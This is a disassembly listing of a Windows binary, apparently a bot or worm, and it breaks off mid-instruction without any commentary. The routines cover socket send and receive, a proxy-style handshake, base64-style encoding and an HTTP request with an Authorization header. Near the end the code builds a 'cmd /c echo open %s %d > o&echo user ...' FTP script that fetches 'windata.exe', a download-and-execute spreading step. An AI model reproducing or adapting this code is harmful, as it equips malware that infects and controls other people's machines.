loc_40ECC6: ; CODE XREF: sub_40E971+34Ej pop esi mov [eax+4], ecx pop ebx leave retn sub_40E971 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECCD proc near ; CODE XREF: sub_40ED91+A1p ; sub_40ED91+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] push eax push 0 lea eax, [ebp+var_10C] push eax xor edi, edi lea eax, [esi+1] inc edi push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call ds:dword_42B21C ; select cmp eax, edi jnz short loc_40ED34 lea eax, [ebp+var_10C] push eax push esi call sub_4298D6 ; __WSAFDIsSet test eax, eax jnz short loc_40ED38 loc_40ED34: ; CODE XREF: sub_40ECCD+54j xor eax, eax jmp short loc_40ED48 ; --------------------------------------------------------------------------- loc_40ED38: ; CODE XREF: sub_40ECCD+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call ds:dword_444064 ; recv loc_40ED48: ; CODE XREF: sub_40ECCD+69j pop edi pop esi leave retn sub_40ECCD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED4C proc near ; CODE XREF: sub_40ED91+81p ; sub_40ED91+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call ds:dword_444234 ; htonl push 0 mov [ebp+var_4], eax push 4 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call ds:dword_4441A0 ; send cmp eax, 4 jz short loc_40ED76 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40ED76: ; CODE XREF: sub_40ED4C+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4441A0 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40ED4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED91 proc near ; CODE XREF: sub_40EE6B+48p ; seg000:0040F828p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41E5D3 mov esi, eax test esi, esi pop ecx jnz short loc_40EDBA xor al, al jmp loc_40EE66 ; --------------------------------------------------------------------------- loc_40EDBA: ; CODE XREF: sub_40ED91+20j push ebx push 0 push esi call sub_41E5F0 push 2Fh push offset dword_43F7EC push esi call sub_41F400 push 8 lea eax, [esi+31h] push offset dword_43F7E0 push eax mov [esi+2Fh], di call sub_41F400 push edi push [ebp+arg_4] lea ebx, [esi+3Bh] push ebx mov [esi+39h], di call sub_41F400 push 6 push offset dword_4D50CC add ebx, edi push ebx call sub_41F400 mov ebx, [ebp+arg_0] push 85h push offset dword_43F758 push ebx call sub_40ED4C add esp, 48h test al, al jnz short loc_40EE22 loc_40EE1E: ; CODE XREF: sub_40ED91+B5j xor bl, bl jmp short loc_40EE5D ; --------------------------------------------------------------------------- loc_40EE22: ; CODE XREF: sub_40ED91+8Bj push 0 mov edi, 100h push edi lea eax, [ebp+var_104] push eax push ebx call sub_40ECCD push [ebp+var_4] push esi push ebx call sub_40ED4C add esp, 1Ch test al, al jz short loc_40EE1E push 0 push edi lea eax, [ebp+var_104] push eax push ebx call sub_40ECCD add esp, 10h mov bl, 1 loc_40EE5D: ; CODE XREF: sub_40ED91+8Fj push esi call sub_41E2A1 pop ecx mov al, bl loc_40EE66: ; CODE XREF: sub_40ED91+24j pop edi pop esi pop ebx leave retn sub_40ED91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE6B proc near ; CODE XREF: seg000:0040F80Ep var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_43F820 push [ebp+arg_0] call ds:dword_42B210 ; send cmp eax, 48h jnz short loc_40EEA6 push 0 push 20h lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_40ECCD add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40EEA6 cmp [ebp+var_20], 82h jz short loc_40EEAA loc_40EEA6: ; CODE XREF: sub_40EE6B+1Bj ; sub_40EE6B+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40EEAA: ; CODE XREF: sub_40EE6B+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40ED91 add esp, 0Ch leave retn sub_40EE6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EEBD proc near ; CODE XREF: sub_40F47A+29p var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] shl eax, 3 test eax, eax mov [ebp+arg_0], eax fild [ebp+arg_0] jge short loc_40EED8 fadd ds:dbl_433088 loc_40EED8: ; CODE XREF: sub_40EEBD+13j fmul ds:dbl_433080 call sub_41FE38 test eax, eax mov [ebp+arg_0], eax fild [ebp+arg_0] jge short loc_40EEF3 fadd ds:dbl_433088 loc_40EEF3: ; CODE XREF: sub_40EEBD+2Ej fst [ebp+var_8] push ecx fmul ds:dbl_433078 push ecx fstp [esp+10h+var_10] call sub_41FCC0 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41FE38 inc eax leave retn sub_40EEBD endp ; =============== S U B R O U T I N E ======================================= sub_40EF15 proc near ; CODE XREF: sub_40F28C+Bp ; sub_40F3AB+Bp arg_0 = dword ptr 4 push esi mov esi, [ecx+18h] cmp esi, 10h lea eax, [ecx+4] jb short loc_40EF25 mov edx, [eax] jmp short loc_40EF27 ; --------------------------------------------------------------------------- loc_40EF25: ; CODE XREF: sub_40EF15+Aj mov edx, eax loc_40EF27: ; CODE XREF: sub_40EF15+Ej cmp [esp+4+arg_0], edx jb short loc_40EF43 cmp esi, 10h jb short loc_40EF34 mov eax, [eax] loc_40EF34: ; CODE XREF: sub_40EF15+1Bj mov ecx, [ecx+14h] add ecx, eax cmp ecx, [esp+4+arg_0] jbe short loc_40EF43 mov al, 1 jmp short loc_40EF45 ; --------------------------------------------------------------------------- loc_40EF43: ; CODE XREF: sub_40EF15+16j ; sub_40EF15+28j xor al, al loc_40EF45: ; CODE XREF: sub_40EF15+2Cj pop esi retn 4 sub_40EF15 endp ; =============== S U B R O U T I N E ======================================= sub_40EF49 proc near ; CODE XREF: sub_40EF65+40p ; sub_40EFAE+5Fp ... arg_0 = dword ptr 4 cmp dword ptr [ecx+18h], 10h mov eax, [esp+arg_0] mov [ecx+14h], eax jb short loc_40EF5B mov ecx, [ecx+4] jmp short loc_40EF5E ; --------------------------------------------------------------------------- loc_40EF5B: ; CODE XREF: sub_40EF49+Bj add ecx, 4 loc_40EF5E: ; CODE XREF: sub_40EF49+10j mov byte ptr [ecx+eax], 0 retn 4 sub_40EF49 endp ; =============== S U B R O U T I N E ======================================= sub_40EF65 proc near ; CODE XREF: sub_40F024+ADp ; sub_40F10C+3Ep ... arg_0 = byte ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40EF98 cmp dword ptr [esi+18h], 10h jb short loc_40EF98 cmp [esp+4+arg_4], 0 lea eax, [esi+4] push edi mov edi, [eax] jbe short loc_40EF90 push [esp+8+arg_4] push edi push eax call sub_41F400 add esp, 0Ch loc_40EF90: ; CODE XREF: sub_40EF65+1Bj push edi call sub_41FEAD pop ecx pop edi loc_40EF98: ; CODE XREF: sub_40EF65+8j ; sub_40EF65+Ej push [esp+4+arg_4] mov ecx, esi mov dword ptr [esi+18h], 0Fh call sub_40EF49 pop esi retn 8 sub_40EF65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EFAE proc near ; CODE XREF: sub_40F31C+33p ; sub_40F31C+3Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov esi, ecx cmp [esi+14h], edi jnb short loc_40EFC2 call sub_4297E3 loc_40EFC2: ; CODE XREF: sub_40EFAE+Dj mov eax, [esi+14h] sub eax, edi cmp eax, [ebp+arg_4] jnb short loc_40EFCF mov [ebp+arg_4], eax loc_40EFCF: ; CODE XREF: sub_40EFAE+1Cj cmp [ebp+arg_4], 0 jbe short loc_40F012 push ebx mov ebx, [esi+18h] cmp ebx, 10h lea ecx, [esi+4] jb short loc_40EFE5 mov edx, [ecx] jmp short loc_40EFE7 ; --------------------------------------------------------------------------- loc_40EFE5: ; CODE XREF: sub_40EFAE+31j mov edx, ecx loc_40EFE7: ; CODE XREF: sub_40EFAE+35j cmp ebx, 10h pop ebx jb short loc_40EFEF mov ecx, [ecx] loc_40EFEF: ; CODE XREF: sub_40EFAE+3Dj sub eax, [ebp+arg_4] add edx, edi add edx, [ebp+arg_4] push eax push edx add ecx, edi push ecx call sub_41F980 mov eax, [esi+14h] sub eax, [ebp+arg_4] add esp, 0Ch push eax mov ecx, esi call sub_40EF49 loc_40F012: ; CODE XREF: sub_40EFAE+25j pop edi mov eax, esi pop esi pop ebp retn 8 sub_40EFAE endp ; --------------------------------------------------------------------------- dw 6Ah dd 42E8016Ah, 0C3FFFFFFh ; =============== S U B R O U T I N E ======================================= sub_40F024 proc near ; CODE XREF: sub_40F10C+1Dp mov eax, offset a0jc ; "¸0¦C" call sub_420364 sub esp, 0Ch push ebx push esi mov esi, [ebp+8] push edi or esi, 0Fh cmp esi, 0FFFFFFFEh mov edi, ecx mov [ebp-10h], esp mov [ebp-18h], edi jbe short loc_40F04C mov esi, [ebp+8] jmp short loc_40F071 ; --------------------------------------------------------------------------- loc_40F04C: ; CODE XREF: sub_40F024+21j xor edx, edx push 3 mov eax, esi pop ebx div ebx mov ecx, [edi+18h] mov [ebp-14h], ecx shr dword ptr [ebp-14h], 1 mov edx, [ebp-14h] cmp eax, edx jnb short loc_40F071 push 0FFFFFFFEh pop eax sub eax, edx cmp ecx, eax ja short loc_40F071 lea esi, [edx+ecx] loc_40F071: ; CODE XREF: sub_40F024+26j ; sub_40F024+3Fj ... and dword ptr [ebp-4], 0 lea eax, [esi+1] push eax call sub_41FEB2 pop ecx mov ebx, eax jmp short loc_40F0AA ; --------------------------------------------------------------------------- byte_40F083 db 8Bh ; DATA XREF: seg001:0043A604o dd 45890845h, 65894008h, 45C650F0h, 1BE802FCh, 8900010Eh dd 0B859EC45h, 40F0A1h, 0E87D8BC3h, 8B08758Bh db 5Dh, 0ECh ; --------------------------------------------------------------------------- loc_40F0AA: ; CODE XREF: sub_40F024+5Dj cmp dword ptr [ebp+0Ch], 0 jbe short loc_40F0CB cmp dword ptr [edi+18h], 10h jb short loc_40F0BB mov eax, [edi+4] jmp short loc_40F0BE ; --------------------------------------------------------------------------- loc_40F0BB: ; CODE XREF: sub_40F024+90j lea eax, [edi+4] loc_40F0BE: ; CODE XREF: sub_40F024+95j push dword ptr [ebp+0Ch] push eax push ebx call sub_41F400 add esp, 0Ch loc_40F0CB: ; CODE XREF: sub_40F024+8Aj push 0 push 1 mov ecx, edi call sub_40EF65 push dword ptr [ebp+0Ch] mov ecx, edi mov [edi+4], ebx mov [edi+18h], esi call sub_40EF49 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 8 sub_40F024 endp ; --------------------------------------------------------------------------- byte_40F0F7 db 8Bh ; DATA XREF: seg001:0043A5F4o dd 0F633E84Dh, 0E8016A56h, 0FFFFFE61h, 78E85656h, 0CC000112h ; =============== S U B R O U T I N E ======================================= sub_40F10C proc near ; CODE XREF: sub_40F16A+48p ; sub_40F1FF+26p ... arg_0 = dword ptr 4 arg_8 = byte ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] cmp edi, 0FFFFFFFEh mov esi, ecx jbe short loc_40F11E call sub_42987E loc_40F11E: ; CODE XREF: sub_40F10C+Bj cmp [esi+18h], edi jnb short loc_40F130 push dword ptr [esi+14h] mov ecx, esi push edi call sub_40F024 jmp short loc_40F15D ; --------------------------------------------------------------------------- loc_40F130: ; CODE XREF: sub_40F10C+15j cmp [esp+4+arg_8], 0 jz short loc_40F151 cmp edi, 10h jnb short loc_40F151 mov eax, [esi+14h] cmp edi, eax jnb short loc_40F145 mov eax, edi loc_40F145: ; CODE XREF: sub_40F10C+35j push eax push 1 mov ecx, esi call sub_40EF65 jmp short loc_40F15D ; --------------------------------------------------------------------------- loc_40F151: ; CODE XREF: sub_40F10C+29j ; sub_40F10C+2Ej test edi, edi jnz short loc_40F15D push edi mov ecx, esi call sub_40EF49 loc_40F15D: ; CODE XREF: sub_40F10C+22j ; sub_40F10C+43j ... xor eax, eax cmp eax, edi sbb eax, eax pop edi neg eax pop esi retn 8 sub_40F10C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F16A proc near ; CODE XREF: sub_40F28C+2Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, [ebp+arg_4] cmp [ebx+14h], edi mov esi, ecx jnb short loc_40F182 call sub_4297E3 loc_40F182: ; CODE XREF: sub_40F16A+11j mov eax, [ebx+14h] sub eax, edi cmp eax, [ebp+arg_8] jnb short loc_40F18F mov [ebp+arg_8], eax loc_40F18F: ; CODE XREF: sub_40F16A+20j or eax, 0FFFFFFFFh sub eax, [esi+14h] cmp eax, [ebp+arg_8] ja short loc_40F1A1 mov ecx, esi call sub_42987E loc_40F1A1: ; CODE XREF: sub_40F16A+2Ej cmp [ebp+arg_8], 0 jbe short loc_40F1F6 mov edi, [esi+14h] add edi, [ebp+arg_8] push 0 push edi mov ecx, esi call sub_40F10C test al, al jz short loc_40F1F6 cmp dword ptr [ebx+18h], 10h jb short loc_40F1C6 mov ebx, [ebx+4] jmp short loc_40F1C9 ; --------------------------------------------------------------------------- loc_40F1C6: ; CODE XREF: sub_40F16A+55j add ebx, 4 loc_40F1C9: ; CODE XREF: sub_40F16A+5Aj cmp dword ptr [esi+18h], 10h jb short loc_40F1D4 mov eax, [esi+4] jmp short loc_40F1D7 ; --------------------------------------------------------------------------- loc_40F1D4: ; CODE XREF: sub_40F16A+63j lea eax, [esi+4] loc_40F1D7: ; CODE XREF: sub_40F16A+68j mov ecx, [ebp+arg_4] push [ebp+arg_8] add ebx, ecx mov ecx, [esi+14h] add ecx, eax push ebx push ecx call sub_41F400 add esp, 0Ch push edi mov ecx, esi call sub_40EF49 loc_40F1F6: ; CODE XREF: sub_40F16A+3Bj ; sub_40F16A+4Fj pop edi mov eax, esi pop esi pop ebx pop ebp retn 0Ch sub_40F16A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40F1FF proc near ; CODE XREF: sub_40F47A+111p ; sub_40F47A+142p arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch push ebx mov ebx, [esp+4+arg_0] push esi or eax, 0FFFFFFFFh mov esi, ecx sub eax, [esi+14h] cmp eax, ebx ja short loc_40F216 call sub_42987E loc_40F216: ; CODE XREF: sub_40F1FF+10j test ebx, ebx jbe short loc_40F258 push edi mov edi, [esi+14h] push 0 add edi, ebx push edi mov ecx, esi call sub_40F10C test al, al jz short loc_40F257 cmp dword ptr [esi+18h], 10h jb short loc_40F239 mov eax, [esi+4] jmp short loc_40F23C ; --------------------------------------------------------------------------- loc_40F239: ; CODE XREF: sub_40F1FF+33j lea eax, [esi+4] loc_40F23C: ; CODE XREF: sub_40F1FF+38j push [esp+8+arg_8] mov ecx, [esi+14h] add ecx, eax push ebx push ecx call sub_40E6FA add esp, 0Ch push edi mov ecx, esi call sub_40EF49 loc_40F257: ; CODE XREF: sub_40F1FF+2Dj pop edi loc_40F258: ; CODE XREF: sub_40F1FF+19j mov eax, esi pop esi pop ebx retn 8 sub_40F1FF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40F25F proc near ; CODE XREF: sub_40F47A+33p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push edi mov edi, [esi+14h] cmp edi, eax ja short loc_40F287 cmp [esi+18h], eax jz short loc_40F287 push 1 push eax call sub_40F10C test al, al jz short loc_40F287 push edi mov ecx, esi call sub_40EF49 loc_40F287: ; CODE XREF: sub_40F25F+Dj ; sub_40F25F+12j ... pop edi pop esi retn 4 sub_40F25F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F28C proc near ; CODE XREF: sub_40F440+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi push ebx mov esi, ecx call sub_40EF15 test al, al jz short loc_40F2BE cmp dword ptr [esi+18h], 10h jb short loc_40F2AB mov eax, [esi+4] jmp short loc_40F2AE ; --------------------------------------------------------------------------- loc_40F2AB: ; CODE XREF: sub_40F28C+18j lea eax, [esi+4] loc_40F2AE: ; CODE XREF: sub_40F28C+1Dj push [ebp+arg_4] sub ebx, eax push ebx push esi mov ecx, esi call sub_40F16A jmp short loc_40F316 ; --------------------------------------------------------------------------- loc_40F2BE: ; CODE XREF: sub_40F28C+12j or eax, 0FFFFFFFFh sub eax, [esi+14h] cmp eax, [ebp+arg_4] ja short loc_40F2D0 mov ecx, esi call sub_42987E loc_40F2D0: ; CODE XREF: sub_40F28C+3Bj cmp [ebp+arg_4], 0 jbe short loc_40F314 push edi mov edi, [esi+14h] add edi, [ebp+arg_4] push 0 push edi mov ecx, esi call sub_40F10C test al, al jz short loc_40F313 cmp dword ptr [esi+18h], 10h jb short loc_40F2F6 mov eax, [esi+4] jmp short loc_40F2F9 ; --------------------------------------------------------------------------- loc_40F2F6: ; CODE XREF: sub_40F28C+63j lea eax, [esi+4] loc_40F2F9: ; CODE XREF: sub_40F28C+68j push [ebp+arg_4] mov ecx, [esi+14h] add ecx, eax push ebx push ecx call sub_41F400 add esp, 0Ch push edi mov ecx, esi call sub_40EF49 loc_40F313: ; CODE XREF: sub_40F28C+5Dj pop edi loc_40F314: ; CODE XREF: sub_40F28C+48j mov eax, esi loc_40F316: ; CODE XREF: sub_40F28C+30j pop esi pop ebx pop ebp retn 8 sub_40F28C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F31C proc near ; CODE XREF: sub_40F3AB+2Bp ; sub_40F41A+1Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx push esi push edi mov edi, [ebp+arg_0] cmp [edi+14h], eax mov ebx, ecx jnb short loc_40F334 call sub_4297E3 loc_40F334: ; CODE XREF: sub_40F31C+11j mov esi, [edi+14h] mov eax, [ebp+arg_4] sub esi, eax cmp [ebp+arg_8], esi jnb short loc_40F344 mov esi, [ebp+arg_8] loc_40F344: ; CODE XREF: sub_40F31C+23j cmp ebx, edi mov ecx, ebx jnz short loc_40F362 push 0FFFFFFFFh add esi, eax push esi call sub_40EFAE push [ebp+arg_4] mov ecx, ebx push 0 call sub_40EFAE jmp short loc_40F3A2 ; --------------------------------------------------------------------------- loc_40F362: ; CODE XREF: sub_40F31C+2Cj push 0 push esi call sub_40F10C test al, al jz short loc_40F3A2 cmp dword ptr [edi+18h], 10h jb short loc_40F379 mov edi, [edi+4] jmp short loc_40F37C ; --------------------------------------------------------------------------- loc_40F379: ; CODE XREF: sub_40F31C+56j add edi, 4 loc_40F37C: ; CODE XREF: sub_40F31C+5Bj cmp dword ptr [ebx+18h], 10h jb short loc_40F387 mov eax, [ebx+4] jmp short loc_40F38A ; --------------------------------------------------------------------------- loc_40F387: ; CODE XREF: sub_40F31C+64j lea eax, [ebx+4] loc_40F38A: ; CODE XREF: sub_40F31C+69j mov ecx, [ebp+arg_4] push esi add edi, ecx push edi push eax call sub_41F400 add esp, 0Ch push esi mov ecx, ebx call sub_40EF49 loc_40F3A2: ; CODE XREF: sub_40F31C+44j ; sub_40F31C+50j pop edi pop esi mov eax, ebx pop ebx pop ebp retn 0Ch sub_40F31C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3AB proc near ; CODE XREF: sub_40F45D+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] push edi mov esi, ecx call sub_40EF15 test al, al jz short loc_40F3DD cmp dword ptr [esi+18h], 10h jb short loc_40F3CA mov eax, [esi+4] jmp short loc_40F3CD ; --------------------------------------------------------------------------- loc_40F3CA: ; CODE XREF: sub_40F3AB+18j lea eax, [esi+4] loc_40F3CD: ; CODE XREF: sub_40F3AB+1Dj push [ebp+arg_4] sub edi, eax push edi push esi mov ecx, esi call sub_40F31C jmp short loc_40F414 ; --------------------------------------------------------------------------- loc_40F3DD: ; CODE XREF: sub_40F3AB+12j push 0 push [ebp+arg_4] mov ecx, esi call sub_40F10C test al, al jz short loc_40F412 cmp dword ptr [esi+18h], 10h jb short loc_40F3F8 mov eax, [esi+4] jmp short loc_40F3FB ; --------------------------------------------------------------------------- loc_40F3F8: ; CODE XREF: sub_40F3AB+46j lea eax, [esi+4] loc_40F3FB: ; CODE XREF: sub_40F3AB+4Bj push [ebp+arg_4] push edi push eax call sub_41F400 add esp, 0Ch push [ebp+arg_4] mov ecx, esi call sub_40EF49 loc_40F412: ; CODE XREF: sub_40F3AB+40j mov eax, esi loc_40F414: ; CODE XREF: sub_40F3AB+30j pop edi pop esi pop ebp retn 8 sub_40F3AB endp ; =============== S U B R O U T I N E ======================================= sub_40F41A proc near ; CODE XREF: sub_40F47A+15Cp ; sub_429712+26p ... arg_0 = dword ptr 4 push esi mov esi, ecx push 0 mov dword ptr [esi+18h], 0Fh call sub_40EF49 push 0FFFFFFFFh push 0 push [esp+0Ch+arg_0] mov ecx, esi call sub_40F31C mov eax, esi pop esi retn 4 sub_40F41A endp ; =============== S U B R O U T I N E ======================================= sub_40F440 proc near ; CODE XREF: sub_40F47A+128p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_41E1C0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40F28C pop esi retn 4 sub_40F440 endp ; =============== S U B R O U T I N E ======================================= sub_40F45D proc near ; CODE XREF: sub_40F6AF+17p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_41E1C0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40F3AB pop esi retn 4 sub_40F45D endp ; =============== S U B R O U T I N E ======================================= sub_40F47A proc near ; CODE XREF: sub_40F5F6+23p var_40 = qword ptr -40h mov eax, offset aTjc ; "¸T¦C" call sub_420364 sub esp, 2Ch push edi xor edi, edi push edi lea ecx, [ebp-38h] mov [ebp-1Ch], edi mov dword ptr [ebp-20h], 0Fh call sub_40EF49 push dword ptr [ebp+10h] mov [ebp-4], edi call sub_40EEBD pop ecx push eax lea ecx, [ebp-38h] call sub_40F25F cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40F5CF push ebx mov ebx, [ebp+10h] push esi loc_40F4C3: ; CODE XREF: sub_40F47A+14Dj cmp dword ptr [ebp+10h], 3 jb short loc_40F4CE push 3 loc_40F4CB: ; CODE XREF: sub_40F47A+5Cj pop ebx jmp short loc_40F4E1 ; --------------------------------------------------------------------------- loc_40F4CE: ; CODE XREF: sub_40F47A+4Dj cmp dword ptr [ebp+10h], 2 jnz short loc_40F4D8 push 2 jmp short loc_40F4CB ; --------------------------------------------------------------------------- loc_40F4D8: ; CODE XREF: sub_40F47A+58j cmp dword ptr [ebp+10h], 1 jnz short loc_40F4E1 xor ebx, ebx inc ebx loc_40F4E1: ; CODE XREF: sub_40F47A+52j ; sub_40F47A+62j test ebx, ebx mov [ebp-1Ch], ebx fild dword ptr [ebp-1Ch] jge short loc_40F4F1 fadd ds:dbl_433088 loc_40F4F1: ; CODE XREF: sub_40F47A+6Fj fmul ds:dbl_433090 push ecx push ecx fstp [esp+40h+var_40] call sub_4203C0 pop ecx pop ecx call sub_41FE38 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40F527 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx shr ecx, 2 lea edi, [ebp-10h] rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40F527: ; CODE XREF: sub_40F47A+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh add [ebp+0Ch], ebx sub [ebp+10h], ebx mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh and dl, 3 shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and cl, 3 and dl, 0Fh shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh xor esi, esi cmp eax, edi mov [ebp-11h], cl jbe short loc_40F596 add [ebp-18h], eax loc_40F579: ; CODE XREF: sub_40F47A+11Aj movsx eax, byte ptr [ebp+esi-14h] movsx eax, ds:byte_43F870[eax] push eax push 1 lea ecx, [ebp-38h] call sub_40F1FF inc esi cmp esi, [ebp-1Ch] jb short loc_40F579 loc_40F596: ; CODE XREF: sub_40F47A+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40F5AA push dword ptr [ebp+14h] lea ecx, [ebp-38h] call sub_40F440 mov [ebp-18h], edi loc_40F5AA: ; CODE XREF: sub_40F47A+120j push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40F5C4 sub esi, [ebp-1Ch] loc_40F5B5: ; CODE XREF: sub_40F47A+148j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40F1FF dec esi jnz short loc_40F5B5 loc_40F5C4: ; CODE XREF: sub_40F47A+136j cmp [ebp+10h], edi ja loc_40F4C3 pop esi pop ebx loc_40F5CF: ; CODE XREF: sub_40F47A+3Ej mov ecx, [ebp+8] lea eax, [ebp-38h] push eax call sub_40F41A push edi push 1 lea ecx, [ebp-38h] call sub_40EF65 mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi mov large fs:0, ecx leave retn sub_40F47A endp ; =============== S U B R O U T I N E ======================================= sub_40F5F6 proc near ; CODE XREF: seg000:0040F7F1p mov eax, offset aAjc ; "¸€¦C" call sub_420364 sub esp, 1Ch push ebx push esi push edi and dword ptr [ebp-4], 0 push offset byte_42B633 push dword ptr [ebp+10h] lea eax, [ebp-28h] push dword ptr [ebp+0Ch] push eax call sub_40F47A mov eax, [ebp+28h] mov ecx, [ebp-14h] lea esi, [ecx+eax+36h] push esi mov byte ptr [ebp-4], 1 call sub_41E5D3 mov edi, eax add esp, 14h test edi, edi jnz short loc_40F63F xor bl, bl jmp short loc_40F686 ; --------------------------------------------------------------------------- loc_40F63F: ; CODE XREF: sub_40F5F6+43j cmp dword ptr [ebp-10h], 10h mov ecx, [ebp-24h] jnb short loc_40F64B lea ecx, [ebp-24h] loc_40F64B: ; CODE XREF: sub_40F5F6+50j cmp dword ptr [ebp+2Ch], 10h mov eax, [ebp+18h] jnb short loc_40F657 lea eax, [ebp+18h] loc_40F657: ; CODE XREF: sub_40F5F6+5Cj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41E6FE add esp, 14h push 0 push esi push edi push dword ptr [ebp+8] call ds:dword_4441A0 ; send cmp eax, esi jz short loc_40F67D xor bl, bl jmp short loc_40F67F ; --------------------------------------------------------------------------- loc_40F67D: ; CODE XREF: sub_40F5F6+81j mov bl, 1 loc_40F67F: ; CODE XREF: sub_40F5F6+85j push edi call sub_41E2A1 pop ecx loc_40F686: ; CODE XREF: sub_40F5F6+47j push 0 push 1 lea ecx, [ebp-28h] call sub_40EF65 push 0 push 1 lea ecx, [ebp+14h] call sub_40EF65 mov ecx, [ebp-0Ch] pop edi pop esi mov al, bl pop ebx mov large fs:0, ecx leave retn sub_40F5F6 endp ; =============== S U B R O U T I N E ======================================= sub_40F6AF proc near ; CODE XREF: seg000:0040F7E5p ; sub_4297E3+15p ... arg_0 = dword ptr 4 push esi mov esi, ecx push 0 mov dword ptr [esi+18h], 0Fh call sub_40EF49 push [esp+4+arg_0] mov ecx, esi call sub_40F45D mov eax, esi pop esi retn 4 sub_40F6AF endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h push ebx push esi push edi xor eax, eax mov byte ptr [ebp-420h], 0 mov ecx, 0FFh lea edi, [ebp-41Fh] rep stosd stosw push 8Fh stosb lea eax, [ebp-420h] push offset dword_43FA20 push eax call sub_41F400 add esp, 0Ch mov eax, offset aWindata_exe ; "windata.exe" push eax push eax movzx eax, word ptr ds:dword_4D1FE4 push eax push dword ptr [ebp+8] call sub_4023C9 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41E6FE add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset aSvwfbA ; "SVWfì€" push eax call 